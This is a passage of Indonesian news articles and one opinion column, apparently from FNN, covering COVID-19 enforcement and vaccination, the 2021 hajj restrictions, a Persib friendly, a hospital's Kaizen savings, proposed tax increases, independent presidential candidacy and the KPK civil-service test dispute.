maka kami akan melakukan kegiatan penegakan aturan. Tentunya yang kami kedepankan Satpol PP dan kami sifatnya mem-'backup" kegiatan tersebut," katanya. Dia juga mengatakan operasi yustisi ini akan dilakukan setiap malam dengan sasaran lokasi yang kerap menimbulkan kerumunan. Operasi akan terus dilaksanakan hingga angka COVID-19 di Jakarta bisa dikendalikan. (mth)

Saudi Arabia Larang Ibadah Haji Bagi Negara Lain

Saudi, FNN - Arab Saudi untuk tahun kedua melarang jamaah dari negara lain melaksanakan haji, dan membatasi penyelenggaraan ibadah itu hanya untuk warga negara dan penduduknya sebagai tanggapan atas pandemi virus corona. Kementerian Haji Saudi menyatakan bahwa hanya orang-orang berusia antara 18 dan 65 tahun yang telah divaksin atau diimunisasi COVID-19, dan bebas dari penyakit kronis, yang dapat melaksanakan ibadah haji, menurut laporan Saudi Press Agency (SPA) pada Sabtu. Kementerian yang mengelola ibadah umat Muslim ke Mekkah itu juga menetapkan batasan 60.000 jamaah yang bisa mengikuti haji tahun ini. "Keputusan ini (dibuat) untuk menjamin keselamatan haji di tengah ketidakpastian virus corona," kata Menteri Kesehatan Kerajaan Arab Saudi, Tawfiq al-Rabiah, dalam konferensi pers yang disiarkan televisi oleh SPA. “Meskipun vaksin tersedia, ada ketidakpastian virus dan beberapa negara masih mencatat jumlah kasus COVID yang tinggi, tantangan lainnya adalah varian virus yang berbeda, maka muncul keputusan untuk membatasi haji,” tutur al-Rabiah. Menteri al-Rabiah mengatakan hanya vaksin COVID yang disetujui dari Pfizer, Astrazeneca, Moderna, dan Johnson & Johnson yang akan berlaku untuk haji. Sejumlah sumber mengatakan kepada Reuters pada Mei bahwa sebuah rencana sedang dipertimbangkan untuk melarang jamaah dari luar negeri melaksanakan haji---kewajiban sekali seumur hidup bagi setiap Muslim berbadan sehat yang mampu melaksanakannya. Sebelum pandemi mengharuskan orang-orang menjaga jarak sosial, sekitar 2,5 juta jamaah biasa mengunjungi tempat-tempat paling suci Islam di Mekkah dan Madinah untuk haji selama seminggu. Sementara untuk ibadah umrah yang dapat dilakukan sepanjang tahun, secara keseluruhan menghasilkan pemasukan bagi Saudi sekitar 12 miliar dolar AS (sekitar Rp170,7 triliun) per tahun, berdasarkan data resmi pemerintah. (sws)

Ratusan Warga Kembangan Jakbar Terima Vaksinasi COVID-19

Jakarta, FNN - Sebanyak 116 warga Kembangan Utara, Kecamatan Kembangan, Jakarta Barat, mendapatkan suntikan vaksin COVID-19 yang diselenggarakan oleh Polsek setempat. "Vaksinasi menggunakan vaksin AstraZeneca dan sebelum warga menerima vaksinasi terlebih dahulu mereka menjalani pemeriksaan kesehatan," kata Kepala Polsek Kembangan Komisaris Polisi H Khoiri di Jakarta Barat (Jakbar), Sabtu. Vaksinasi di Kembangan tersebut dipusatkan di Gedung Yaskum di Jalan Kembangan Baru, Kelurahan Kembangan Utara. Dalam pelaksanaan vaksinasi massal secara gratis itu, pihaknya tetap menerapkan protokol kesehatan yang ketat. Dengan menggandeng tim medis dari RS St Carolus Serpong, warga yang menjalani vaksinasi terlebih dahulu melakukan pendaftaran. Selanjutnya diperiksa tekanan darah, riwayat kesehatan dan diukur suhu tubuh. Setelah mendapatkan injeksi vaksin, warga kemudian menjalani observasi sekitar 30 menit dan diberikan obat paracetamol sebagai pereda demam dan rasa nyeri. Kapolres Metro Jakarta Barat Komisaris Besar Polisi Ady Wibowo mengapresiasi pelaksanaan vaksinasi itu sebagai upaya mengendalikan penularan COVID-19. Ia juga mengapresiasi fasilitas dan pelayanan kesehatan di tempat tersebut yang memadai termasuk upaya Polsek Kembangan agar proses vaksinasi berjalan baik dan lancar. "Saya melihat warga sangat antusias dalam mengikuti vaksinasi COVID-19 dan fasilitas tempat vaksinasi sangat memadai sehingga mekanisme proses vaksinasi berjalan sangat baik," katanya. (mth)

Persib Ditahan Imbang Persikabo pada Laga Uji Coba

Jakarta, FNN - ​​​​​​Persib Bandung ditahan imbang dalam laga uji coba melawan Tira Persikabo dengan skor akhir 1-1 di Stadion Gelora Bandung Lautan Api (GBLA), Bandung, Sabtu. Meski sempat memimpin lewat gol Febri Hariyadi pada menit ke-40, kemenangan Pangeran Biru pupus akibat gol balasan Ciro Alves pada menit ke-56. Pelatih Persib Bandung Robert Rene Alberts mengaku telah memetik sejumlah hal positif dari agenda latihan bersama Tira Persikabo tersebut. "Secara keseluruhan, kami membuat lebih banyak peluang yang bagus ketimbang Persikabo. Kalau melihat hasil, kami terpaksa melakukan kesalahan akibat cedera yang dialami Esteban Vizcarra dan Ezra yang sakit," kata Robert dikutip dari laman resmi klub, Sabtu. Persib berusaha untuk mencetak lebih banyak gol pada babak kedua dengan melakukan pergantian pemain, salah satunya memasukkan gelandang muda Saiful yang menggantikan Esteban Vizcarra. "Kami melakukan perubahan di babak kedua yang membuat permainan kurang nyaman. Saiful bermain baik, sebagai pemain muda yang masuk sebagai pemain pengganti, tapi Anda bisa lihat dia masih punya kekurangan," terang Robert. Namun, Robert lebih mengutamakan kondisi stamina para pemainnya dan bagaimana kerja sama yang terjalin antarpemain. Menurut pelatih asal Belanda itu, hal tersebut setidaknya menjadi sebuah nilai positif tersendiri. "Kami juga melakukan pergantian berkenaan penguasaan bola, tapi memang ada keterbatasan. Tapi di sini kami melihat stamina dan kerja sama antar pemain yang berbeda, dan itu membuat kami memiliki opsi di masa depan," ungkap Robert. Sebelumnya, Persib juga telah menggelar laga uji coba melawan Karawang United dan tim Porda Kota Bandung di Stadion GBLA, Bandung, Sabtu (5/6) lalu. (mth)

Buton Selatan Belum Tahu Pelaku UMKM yang Terima Bantuan Pusat

Buton Selatan, FNN - Pemerintah Kabupaten Buton Selatan (Busel), Sulawesi Tenggara, belum mengetahui secara pasti berapa pelaku usaha mikro, kecil, dan menengah (UMKM) yang menerima bantuan pemerintah usaha mikro (BPUM). Kepala Dinas Koperasi, UMKM, Perindustrian, dan Perdagangan Buton Selatan La Hardin di Busel, Sabtu, mengatakan bahwa pihaknya tidak mendapatkan akses data terkait hal itu. "Jadi, sebanyak 6.517 pelaku UMKM yang kami usulkan untuk mendapatkan BPUM sampai hari ini belum tahu persis berapa yang sudah keluar (menerima, red.) karena ini langsung ke calon penerima," katanya. La Hardin berharap pemerintah pusat melalui Kementerian Koperasi dan UMKM bisa memberikan akses data mengenai pelaku UMKM yang telah pihaknya usulkan tersebut guna lebih menertibkan data penerima bantuan, khususnya pelaku UMKM di daerah itu agar tidak dobel menerima. Ia mengatakan bahwa pihaknya sudah setahun ini menunggu, bahkan pihaknya sudah pernah berkoordinasi dengan provinsi dan Kementerian Koperasi dan UMKM mengenai data usulan itu. "Karena kami tidak bisa mengakses data, tidak tahun berapa yang sudah keluar dananya di Busel," katanya. Padahal, kata dia, sudah ada beberapa orang yang datang melapor kepada pihaknya untuk menanyakan mengenai adanya SMS (pesan singkat) yang diterima oleh calon penerima bagaimana menindaklanjutinya dan telah difasilitasi untuk ketemu pihak bank. Hardin menjelaskan tahapan pengusulan pelaku UMKM di seluruh kecamatan daerah setempat, yakni pertama ke provinsi, kemudian pihak provinsi melanjutkan ke pemerintah pusat. "Jadi, kami hanya menerima calon penerima, kemudian kami mengusulkan ke provinsi, dalam hal ini Dinas Koperasi dan UMKM, lalu provinsi juga menyorong ke pusat," ujarnya. (mth)

RSUD Tulungagung Hemat Anggaran Berkat Tradisi Lomba Inovasi Layanan

Tulungagung, FNN - Manajemen RSUD dr Iskak Tulungagung menyatakan berbagai terobosan inovasi dalam hal pelayanan medis dan nonmedis yang dikreasikan melalui tiga kali penyelenggaraan Festival Kaizen telah berkontribusi dalam penghematan belanja hingga miliaran rupiah. “Terakhir dari penyelenggaraan Festival Kaizen ke-3 ini kami bisa menghemat Rp 2 miliar. (Ini) belum hal-hal lain yang tidak diukur oleh uang, seperti keselamatan dan kenyamanan pelayanan rumah sakit dan sebagainya,” kata Ketua Tim Pelatih (Coach) Festival Kaizen ke-3 RSUD dr Iskak, Kabib Abdullah, A.Md. SKM, di Tulungagung Sabtu. Ia lalu menyebut, hasil Festival Kaizen dari tahun ke tahun menunjukkan keberhasilan secara kualitas dari inovasi masing-masing peserta. Anggaran yang bisa dihemat dari Festival Kaizen ke-1 yang diselenggarakan pada 2018 diestimasi mencapai Rp500 juta. Kemudian pada Festival Kaizen ke-2 pada 2019, anggaran belanja yang berhasil diefisiensi semakin besar menjadi Rp1,5 miliar lebih, dan terakhir pada Festival Kaizen ke-3 yang diikuti 54 tim pada kurun 2020-2021 kembali naik sekitar 35 persen, dengan memangkas budget anggaran belanja sekitar Rp2 miliar. Festival Kaizen telah menjadi tradisi yang rutin diselenggarakan RSUD dr Iskak setiap tahunnya. Dalam festival ini, setiap peserta atau instalasi diharuskan mencari dan menemukan permasalahan yang ada di lingkungan kerja/tugas dinasnya. Dan setelah permasalahan/kendala penatalaksanaan layanan terpetakan, peserta wajib mencari solusi konkretnya. Rangkaian proses pemetaan persoalan, penyusunan proposal penelitian hingga studi analisa serta presentasi akhir semua dibimbing oleh coach yang sudah terlatih dan berpengalaman, yang ditunjuk oleh manajemen RSUD dr. Iskak. Misalnya, terdapat perencanaan kerja di sebuah instalasi yang memakai pencatatan manual dengan alat tulis dan kertas. Setelah ada inovasi, maka muncul ide dengan pencatatan dibantu teknologi. Perubahan pola penatalaksanaan layanan medis/nonmedis yang bersifat keadministrasian ini tentu menghemat anggaran belanja di pos instalasi tersebut. Jika sebelumnya ada plafon anggaran belanja untuk pembelian ATK (alat tulis kantor), dengan memanfaatkan teknologi digital seperti google spreadsheet maka pos belanja ATK bisa di-stop atau tidak diperlukan lagi. (mth)

Membaca Gestur Kebijakan Fiskal yang Galau

BEBERAPA hari belakangan publik dihebohkan dengan rencana pemungutan pajak yang lebih agresif dan lebih massif di tengah situasi krisis pandemi Covid-19. Agresivitas dan masifnya pungutan pajak yang direncanakan itu benar-benar mengagetkan publik. Lebih kaget lagi Menteri Keuangan Sri Mulyani Indrawati karena publik sudah kadung tahu rencana kenaikan Pajak Pertambahan Nilai (PPN) dari 10% menjadi 12%. Plus varian pungutan PPN lainnya yang ujung-ujungnya mencekik leher rakyat. “Tapi itu baru rencana,” begitu pembelaan Menkeu. Soal aneka rencana kenaikan PPN akan termuat dalam draf revisi Undang-Undang Nomor 6 tahun 1983 tentang Ketentuan Umum dan Tata Cara Perpajakan (KUP). Menurut dia, sampai saat ini rencana RUU KUP itu belum dibacakan dalam Rapat Paripurna DPR. Sehingga, dari sisi etika politik, Sri Mulyani merasa belum bisa menjelaskan kepada publik sebelum dibahas dengan DPR. "Karena itu adalah dokumen publik yang kami sampaikan ke DPR melalui Surat Presiden dan oleh karena itu situasinya menjadi agak kikuk karena kemudian dokumennya keluar karena memang sudah dikirimkan ke DPR juga," ujar dia. Tapi Sri lupa bahwa ia adalah pejabat publik, segala keputusan, kebijakan ataupun rencana kebijakan memang selaiknya harus melewati uji publik. Dan sequence terkait rencana kenaikan PPN ini sudah benar, yang aneh justru sikap Menkeu yang galau ketika publik mengetahui rencananya lebih awal. Oleh karena rencana detil kenaikan PPN ini begitu dramatis, publik pun lebih awal menolak, karena merekalah yang akan menjadi sasaran kebijakan Menkeu terbaik di Asia tersebut. Apa saja rencana kenaikan PPN yang ada dalam draf RUU KUP tersebut? Pertama, PPN yang awalnya 10% dinaikkan menjadi 12% hingga 15% dan multi tarif PPN. Tentu ini sangat memberatkan wajib pajak (WP) badan maupun pribadi dalam situasi krisis sekarang ini. Kedua, penghapusan besaran Penghasilan Tidak Kena Pajak (PTKP) orang pribadi sebesar Rp54 juta, dalam RUU KUP itu dihilangkan. Sehingga WP yang penghasilannya di bawah Rp54 juta yang semula tidak kena pajak, akan dikenakan pajak. Ketiga, pemerintah berencana menambah layer pendapatan kena pajak dan memperbaiki tarif PPh orang pribadi. Orang dengan penghasilan kena pajak (PKP) sampai dengan Rp50 juta dalam satu tahun maka dibanderol PPh sebesar 5%. Orang dengan PKP di atas Rp50 juta sampai dengan Rp250 juta dikenakan pajak sebesar 15%. Orang dengan PKP di atas Rp250 juta hingga Rp500 juta dikenakan tarif PPh sebesar 25%. Dan orang dengan PKP di atas Rp500 juta tarif pajak penghasilan orang pribadi senilai 30%. Target pembuatan layer PPh ini adalah untuk menggenjot penerimaan pajak orang pribadi. Tentu saja hal ini akan memberatkan ekonomi rakyat yang sedang susah. Keempat, pemerintah juga berencana akan mengenakan PPN sekolah dan jasa pendidikan lainnya sebesar 12%. Tentu saja akan berdampak pada kenaikan biaya pendidikan. Kelima, pemerintah berencana mengenakan pajak biaya melahirkan yang direncanakan sebesar 12%. Tentu saja biaya melahirkan akan lebih mahal dan makin tidak terjangkau. Keenam, pemerintah akan mengenakan PPN untuk sembako 12% untuk 11 jenis sembako. Mulai dari beras, gabah, jagung, sagu, kedelai, garam, daging, telur, susu, buah-buahan dan sayuran. Bisa diduga, dampaknya akan menggenjot harga sembako. Ketujuh, pemerintah juga berencana mengenakan pajak atas pulsa, kartu perdana, token dan lainnya. Selain menaikkan tarif PPN dan PPh serta pengenaan pajak baru, menurut Sri, pemerintah juga sebenarnya melakukan pelonggaran-pelonggaran pajak karena situasi ekonomi yang mengalami kontraksi. Adapun relaksasi perpajakan itu meliputi. Pertama, penghapusan sanksi administrasi atas keterlambatan pelaporan SPT tahunan dan pembayaran pajak bagi wajib pajak orang pribadi sampai dengan 30 April 2020. Seperti diketahui, sesuai ketentuan batas akhir sebenarnya jatuh pada 31 Maret 2020. Kedua, wajib pajak orang pribadi yang menjadi peserta amnesti pajak dan memiliki kewajiban untuk menyampaikan laporan--realisasi pengalihan dan investasi harta tambahan atau penempatan harta tambahan--dapat melaporkannya paling lambat 30 April 2020. Ketiga, wajib pajak dapat menyampaikan SPT masa PPh pemotongan untuk masa pajak Februari 2020 pada 21 Maret 2020 hingga 30 April 2020 tanpa dikenai sanksi administrasi keterlambatan. Keempat, pengajuan upaya hukum tertentu yang memiliki batas waktu pengajuan antara 15 Maret hingga 30 April 2020 diberikan perpanjangan batas waktu sampai 31 Mei 2020. Latar belakang Pertanyaannya, apa latar belakang sehingga pemerintah membabi buta menaikkan PPN dan PPh dan mengenakan obyek pajak baru tersebut? Tentu karena kondisi penerimaan Anggaran Pendapatan dan Belanja Negara (APBN) diperkirakan hanya bisa dipungut 50% dalam kondisi krisis seperti sekarang ini. Sementara penerimaan pajak juga kurang menggembirakan, termasuk investasi masuk yang jauh dari harapan, pemerintah juga telah mencetak uang besar, tapi kebutuhan APBN masih kurang dan kurang. Sehingga satu-satunya andalan pemerintah adalah mengandalkan utang. Total utang pemerintah sampai April 2021 sudah mencapai Rp6.527,29 triliun. Tapi mengandalkan utang pun sudah tidak mungkin, seperti tersandera, mengingat untuk membayar bunga utang tahun ini saja sebesar Rp373 triliun pemerintah tidak mampu. Pemerintah terpaksa harus berutang lagi hanya untuk membayar bunga utang lewat penerbitan Surat Berharga Negara (SBN). Pendek kata, maju kena, mundur kena. Pemerintah benar-benar sudah kehilangan akal sehat. Pikirannya galau, sehingga Menkeu berinisiatif menaikkan aneka tarif pajak dan menyasar pajak baru. Hal ini juga didasari beberapa realitas. Shortfall--selisih antara target dengan penerimaan—pajak sejak 2006 hingga hari ini masih terjadi dengan volume yang terus membesar. Paling tidak dalam tiga tahun terakhir shortfall pajak cukup mengenaskan. Tahun 2019 target penerimaan pajak Rp1.500-an triliun tercapai hanya Rp1.300-an triliun, jadi shortfall Rp200 triliun. Pada 2020 target penerimaan pajak diturunkan menjadi Rp1.250-an triliun, yang tercapai hanya Rp1.100-an triliun, atau shortfal Rp150-an triliun. Tahun 2021 sama targetnya tercapai Rp1.100-an juga. Lebih mengenaskan lagi jika menengok tax ratio, total penerimaan pajak dibagi dengan produk domestik bruto (PDB), yang pada tahun 2007 masih di level 12%, tiap tahun terus merosot tajam. Terakhir dikabarkan tax ratio tinggal 7%. Inilah yang melatarbelakangi mengapa pemerintah galau, sehingga Sri Mulyani menempuh segala cara guna menalangi kewalahan APBN menghadapi realitas krisis plus pandemi Covid-19. Celakanya, di tengah rencana pemerintah memeras uang rakyat lewat aneka kebijakan perpajakan di atas, kita masih menyaksikan korupsi semakin merajalela. Mulai dari korupsi Bansos, korupsi Jiwasraya, Bumiputera, PBJS Ketenagakerjaan, Asabri, impor benur, dan aneka korupsi bejat lainnya. Menunjukkan para pelaku korupsi sama sekali tidak memiliki sense of crisis. Pada saat yang sama pemerintah memberlakukan Pajak Penjualan atas Barang Mewah (PPnBM) yang dibuat 0%. Sebuah ironi. Pajak orang kaya diturunkan, pajak orang miskin dinaikkan. Unsur keadilan pajak sama sekali tidak tercermin di sini. Ironi lainnya, tax amnesty jilid 2 akan diberlakukan setelah tax amnesty jilid 1 dianggap gagal. Ada kecurigaan setelah rame-rame pesta korupsi, kini gilirannya diampuni lewat program pengampunan pajak. Tidak hanya sampai di sini, pajak korporasi diturunkan dari 22% menjadi 20%, korporasi yang sudah terdaftar di BEI mendapat diskon tambahan 3% menjadi 17%. Ironi lain, Presiden Jokowi masih berambisi untuk membangun Ibu Kota Negara (IKN) baru dengan biaya Rp466 triliun. Padahal kas APBN benar-benar kosong melompong, bahkan sarat dengan utang, benar-benar tidak memiliki kepekaan. Puncak dari ironi itu adalah, rencana Kementerian Pertahanan melakukan belanja militer hingga Rp1.760 triliun dan sebagian besar lewat utang. Inilah puncak ironi yang mencengangkan itu. Ekonom Senior Rizal Ramli menyindir pemerintah tidak memliki empati terhadap rakyat, tidak memiliki nurani, karena di tengah krisis malah sibuk merencanakan aneka kenaikan tarif pajak dan pungutan pajak baru. Ia mengingatkan pemerintah bahwa Revolusi Prancis, Revolusi Amerika dan India diawali dari situasi yang kurang lebih sama dengan Indonesia hari ini. PBNU dan Muhammadiyah juga sudah mengingatkan soal perlunya membatalkan pajak sekolah dan sembako. Politisi oposisi juga tegas menolak rencana kenaikan pajak baru, pimpinan partai koalisi juga meminta rencana Menkeu dibatalkan karena dianggap tidak peka. ‘Ala kulli hal, Indonesia ini bak kapal yang akan karam. Di tengah gelombang yang dahsyat ini, masih ada mau membocorkan biduk bernama Indonesia. Masih ada pihak yang melakukan atraksi ugal-ugalan. Semoga ada solusi terbaik untuk bangsa ini...!

Perlu Amandemen UUD 45 Jika Ingin Capres Independen

Semarang, FNN - Anggota Dewan Pembina Perludem Titi Anggraini memandang perlu amendemen ke-5 UUD NRI Tahun 1945 jika ingin membuka peluang pasangan calon presiden dan wakil presiden independen pada pemilu. "Wacana tentang pasangan calon presiden/wapres independen memang sudah cukup lama mengemuka. Namun, hal itu terkendala adanya ketentuan Pasal 6A Ayat (2) UUD NRI Tahun 1945," kata Titi Anggraini menjawab pertanyaan ANTARA di Semarang, Sabtu. Pasal 6A Ayat (2) UUD NRI Tahun 1945 menyebutkan bahwa pasangan calon presiden/wapres diusulkan oleh partai politik atau gabungan partai politik peserta pemilihan umum sebelum pelaksanaan pemilu. Menurut Titi, sebenarnya soal calon independen ini tak perlu terlalu jadi persoalan kalau ada skema yang lebih leluasa untuk pencalonan presiden/wapres melalui penghapusan persyaratan ambang batas pencalonan presiden berupa 20 persen kursi atau 25 persen suara hasil pemilu anggota legislatif. Paling mendesak itu, kata dia, sebenarnya saat ini pembuat undang-undang menghapus persyaratan ambang batas pencalonan tersebut sehingga peluang lahirnya calon-calon alternatif menjadi lebih terbuka lebar. "Kalau calon independen, mau tidak mau harus mengubah konstitusi," kata Titi yang pernah sebagai Direktur Eksekutif Perkumpulan untuk Pemilu dan Demokrasi (Perludem). Namun, lanjut Titi, kalau penghapusan ambang batas pencalonan, hanya pada level perubahan undang-undang tanpa perlu mengubah UUD NRI Tahun 1945. Titi yang juga Wakil Sekretaris Lembaga Hikmah dan Kebijakan Publik (LHKP) PP Muhammadiyah mengemukakan hal itu terkait dengan pernyataan Ketua Dewan Perwakilan Daerah (DPD) RI La Nyalla Mahmud Mattalitti terkait dengan pasangan calon presiden/wapres dari jalur perseorangan. La Nyalla mengatakan bahwa DPD yang merupakan utusan seluruh daerah di Indonesia idealnya bisa menjadi saluran bagi putra/putri terbaik bangsa nonpartisan yang ingin maju sebagai calon presiden/wakil presiden dari jalur perseorangan. "Saya setuju dengan adanya wacana amendemen konstitusi ke-5 demi perbaikan dan koreksi atas perjalanan amendemen pertama hingga keempat mulai 1999 hingga 2002," kata La Nyalla di Banjarmasin, Kalimantan Selatan, Senin (24/5). Dengan demikian, jalur perseorangan atau nonpartai politik bisa ikut ambil bagian dalam pesta demokrasi pilpres. La Nyalla mengatakan bahwa hanya parpol yang bisa mengusung pasangan calon presiden dan wakil presiden sejak amendemen UUD NRI Tahun 1945. Dengan demikian, tertutup saluran bagi putra/putri terbaik di luar kader partai atau mereka yang tidak bersedia menjadi kader partai. Padahal, UUD NRI Tahun 1945 telah menyebutkan bahwa setiap warga negara memperoleh kesempatan yang sama dalam pemerintahan. "Ini ambiguitas dan paradoksal," katanya ketika tampil sebagai pembicara utama dalam focus group discussion (FGD) bertema "Amendemen Ke-5 Calon Presiden Perseorangan dan Presidential Threshold" di Fakultas Hukum Universitas Lambung Mangkurat (ULM). Dalam Pasal 27 Ayat (1) UUD NRI Tahun 1945 menyebutkan bahwa warga negara bersamaan kedudukannya di dalam hukum dan pemerintahan dan wajib menjunjung hukum dan pemerintahan itu dengan tidak ada kecualinya. Disebutkan pula dalam Pasal 28D Ayat (1) UUD NRI Tahun 1945 bahwa setiap orang berhak atas pengakuan, jaminan, perlindungan, dan kepastian hukum yang adil serta perlakuan yang sama di hadapan hukum. Dalam Pasal 28D Ayat (3) menyebutkan bahwa setiap warga negara berhak memperoleh kesempatan yang sama dalam pemerintahan. "Lalu mengapa untuk menjadi kepala pemerintahan, dalam hal ini untuk menjadi calon presiden, harus anggota atau kader partai politik saja?" katanya. La Nyalla melanjutkan, "Itu pun tidak semua partai bisa mengusung kadernya karena adanya presidential threshold." (sws).

Bergerak dan Bertindak Pasca Pengumuman Tes Wawasan Kebangsaan

Jakarta, FNN - Tes Wawasan Kebangsaan (TWK) yang diikuti 1.351 orang pegawai KPK di Badan Kepegawaian Nasional (BKN) pada Maret-April 2021 membawa rentetan dampak bukan hanya di institusi penegak hukum tersebut namun juga terhadap lembaga-lembaga negara lain. Penyebabnya adalah pengumuman pimpinan KPK yang menyatakan hanya ada 1.274 pegawai yang lolos tes sehingga ada 75 pegawai KPK Tidak Memenuhi Syarat (TMS). Ketua KPK Firli Bahuri pada 7 Mei 2021 lalu menerbitkan Surat Keputusan Pimpinan KPK Nomor 652/2021 tentang Hasil TWK Pegawai yang Tidak Memenuhi Syarat Dalam Rangka Pengalihan Pegawai KPK menjadi Pegawai Aparatur Sipil Negara. Isi SK tersebut adalah memerintahkan kepada 75 pegawai yang tidak memenuhi syarat dalam rangka pengalihan pegawai KPK menjadi pegawai ASN agar menyerahkan tugas dan tanggung jawab kepada atasannya langsung sambil menunggu keputusan lebih lanjut. Belakangan pada 25 Mei 2021 berdasarkan rapat KPK bersama dengan BKN, Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (Kemenpan RB), Kementerian Hukum dan HAM, Komisi Aparatur Sipil Negara, dan Lembaga Administrasi Negara, diputuskan 24 dari 75 pegawai masih dimungkinkan untuk dibina sebelum diangkat menjadi ASN sementara 51 pegawai sisanya tidak memungkinkan untuk dibina berdasarkan penilaian asesor. Ke-51 pegawai tersebut disebut masih akan berada di KPK hingga November 2021 meski saat ini statusnya sudah non-aktif. Namun 75 pegawai yang tidak lolos TWK itu tidak "menerima nasib" begitu saja. Mereka membuat laporan ke sejumlah institusi negara agar dapat mengambil langkah yang tepat sesuai kewenangan masing-masing lembaga terhadap pimpinan KPK, 75 pegawai maupun institusi KPK sendiri. Sejumlah lembaga yang mendapat laporan adalah Dewan Pengawas KPK, Ombudsman, Komnas HAM, Mahkamah Konstitusi hingga organisasi kemasyarakatan seperti PGI dan MUI. 1. Dewan Pengawas KPK Perwakilan 75 pegawai KPK melaporkan lima orang pimpinan KPK yaitu Firli Bahuri, Lili Pintauli Siregar, Nurul Ghufron, Alexander Marwata dan Nawawi Pomolango ke Dewas KPK pada 18 Mei 2021. Kepala Satuan Tugas Pembelajaran Internal KPK Hotman Tambunan selaku perwakilan 75 pegawai mengatakan ada tiga hal yang mereka laporkan. "Yang pertama adalah tentang kejujuran. Dalam berbagai sosialisasi, Pimpinan KPK mengatakan bahwa tidak ada konsekuensi daripada Tes Wawasan Kebangsaan, dan kami juga berpikir bahwa asesmen bukanlah suatu hal yang bisa meluluskan dan tidak meluluskan suatu hal," kata Hotman. Proses alih status menjadi ASN, menurut Hotman, merupakan hak pegawai KPK yang akan menentukan masa depan, sehingga sudah sewajarnya informasi yang diberikan kepada pegawai adalah informasi yang benar. Alasan kedua, ia menyinggung soal materi tes wawancara dalam TWK tersebut yang janggal. "Karena ini juga menyangkut suatu hal yang menjadi kepedulian kami terhadap anak perempuan kami, terhadap adik dan kakak perempuan kami. Kami tidak menginginkan lembaga negara digunakan untuk melakukan suatu hal yang diindikasikan bersifat pelecehan seksual dalam rangka tes wawancara seperti ini," ujarnya. Alasan terakhir, kata Hotman, terkait dengan Pimpinan KPK yang sewenang-wenang dalam mengambil keputusan karena pada 4 Mei 2021 MK telah memutuskan alih status pegawai KPK menjadi ASN tidak akan memberikan kerugian kepada pegawai tapi pimpinan menerbitkan SK 652 yang sangat merugikan pegawai. Terhadap laporan tersebut, pimpinan KPK menyatakan menyerahkan tindak lanjut pelaporan kepada Dewas. "Pimpinan KPK menghormati pelaporan dimaksud, karena kami menyadari bahwa pelaporan kepada Dewan Pengawas adalah hak setiap masyarakat yang menemukan dugaan pelanggaran yang dilakukan oleh insan KPK," kata Wakil Ketua KPK Alexander Marwata pada Rabu (19/5). Menurut Alexander, pimpinan KPK sebelum mengambil keputusan selalu membahas dan berdiskusi tidak saja dengan semua pimpinan, bahkan dengan jajaran pejabat struktural KPK. Artinya, semua produk kebijakan yang dikeluarkan oleh kelembagaan KPK seperti peraturan komisi, peraturan pimpinan, surat keputusan, surat edaran, dan semua surat yang ditandatangani oleh Ketua KPK dipastikan sudah dibahas dan disetujui oleh empat pimpinan lainnya termasuk Surat Keputusan (SK) Nomor 652 Tahun 2021. Dewas KPK pun masih memeriksa laporan tersebut dan terus mengumpulkan bahan keterangan terkait dengan dugaan pelanggaran etik tersebut. 2. Ombudsman Direktur Pembinaan Jaringan Antarkomisi KPK, Sujanarko, mewakili 75 pegawai KPK pada 19 Mei 2021 kemudian melapor ke Ombudsman terkait dugaan maladministrasi oleh pimpinan KPK. "Dari kajian kami ada banyak maladministrasi yang sudah dilakukan KPK, baik penerbitan SK-nya, prosesnya, dari sisi wawancara hampir ada 6 indikasi yang kami sampaikan bahwa Pimpinan KPK telah melakukan maladministrasi, termasuk penonaktifan pegawai karena hal itu tidak ada dasarnya," ujar Sujanarko. Saat melapor, Sujanarko datang bersama dengan Kepala Satuan Tugas Pembelajaran Antikorupsi, Hotman Tambunan, dan Kepala Bagian Perancangan Peraturan dan Produk Hukum KPK, Rasamala Aritonang, serta para kuasa hukum mereka, yaitu Direktur YLBHI, Asfinawati, pengacara publik LBH Jakarta, Arief Maulana, dan dari LBH Muhammadiyah, Gufroni. Menurut Sujanarko, ke-75 pegawai masih mendapatkan gaji yang dibayar negara namun tidak bekerja padahal sudah berstatus non-aktif hingga Oktober 2021 sehingga berpotensi merugikan keuangan negara. Kerugian bertambah karena kasus-kasus yang ditangani KPK dapat terhambat karena tidak aktifnya 75 orang tersebut. Terhadap pelaporan tersebut, Ombudsman sudah meminta keterangan dari pimpinan KPK yang diwakili Wakil Ketua KPK, Nurul Ghufron, bersama Sekretaris Jenderal KPK, Cahya Harefa, dan tim Biro Hukum KPK pada 10 Juni 2021. Ghufron pun mengklarifikasi soal dugaan bahwa TWK diselundupkan dalam peraturan komisi Alih Status Pegawai. Dugaan seludupan itu muncul karena dalam rapat awal pembahasan yaitu 27-28 Agustus 2020 yang membahas aturan turunan alih status pegawai dari UU Nomor 5/2014 tidak ada pembahasan soal TWK. TWK pun masih tidak muncul dalam rapat lanjutan pada November 2020. Namun saat rapat pimpinan pada 5 Januari 2021, usulan pelaksanaan TWK malah muncul sehingga dalam draf Perkom 20 Januari 2021 muncul soal asesmen TWK hingga akhirnya Perkom soal pelaksanaan TWK sebagai syarat alih status pegawai terbit pada 27 Januari 2021. Atas dugaan tersebut, Ghufron beralasan pada rapat harmonisasi 26 Januari 2021 di Kemekumham ada usulan untuk menerapkan TWK sebagai alat untuk pemenuhan syarat wawasan kebangsaan dari pasal 3 PP No 41 tahun 2020 yang berbunyi "Pengalihan Pegawai KPK menjadi Pegawai ASN dengan syarat: (a) Berstatus sebagai Pegawai Tetap atau Pegawai Tidak Tetap KPK; (b) Setia dan taat pada Pancasila, UUD 1945, Negara Kesatuan Republik Indonesia dan pemerintah yang sah.". "Tentu semuanya berkembang yang dinamis, draf di akhir itu merupakan hasil dari diskusi yang berkembang dari dari awal. Artinya tidak benar ada pasal selundupan atau ada pasal yang tidak pernah dibahas di awal. Semuanya melalui proses pembahasan dan itu semua terbuka," kata Ghufron. Ghufron juga membantah bahwa KPK membayar BKN untuk melaksanakan TWK sebesar Rp1.807.631.000 "KPK tidak pernah bayar karena tes TWK itu sudah menjadi kegiatan yang dianggap tusinya (tujuan dan fungsi) BKN sendiri sehingga dibiayai APBN BKN sendiri," ungkap Ghufron Sebelumnya, beredar dokumen Nota Kesepahaman (MoU) Pengadaan Barang dan Jasa melalui Swakelola antara Sekretariat Jenderal KPK dan Kepala BKN Nomor 97 Tahun 2021 tertanggal 8 April 2021 yang ditandatangani Sekretaris Jenderal KPK Cahya Harefa dan Kepala BKN Bima Haria Wibisana. Nota kesepahaman itu menyebutkan bahwa kesepakatan tersebut adalah langkah awal kerja sama 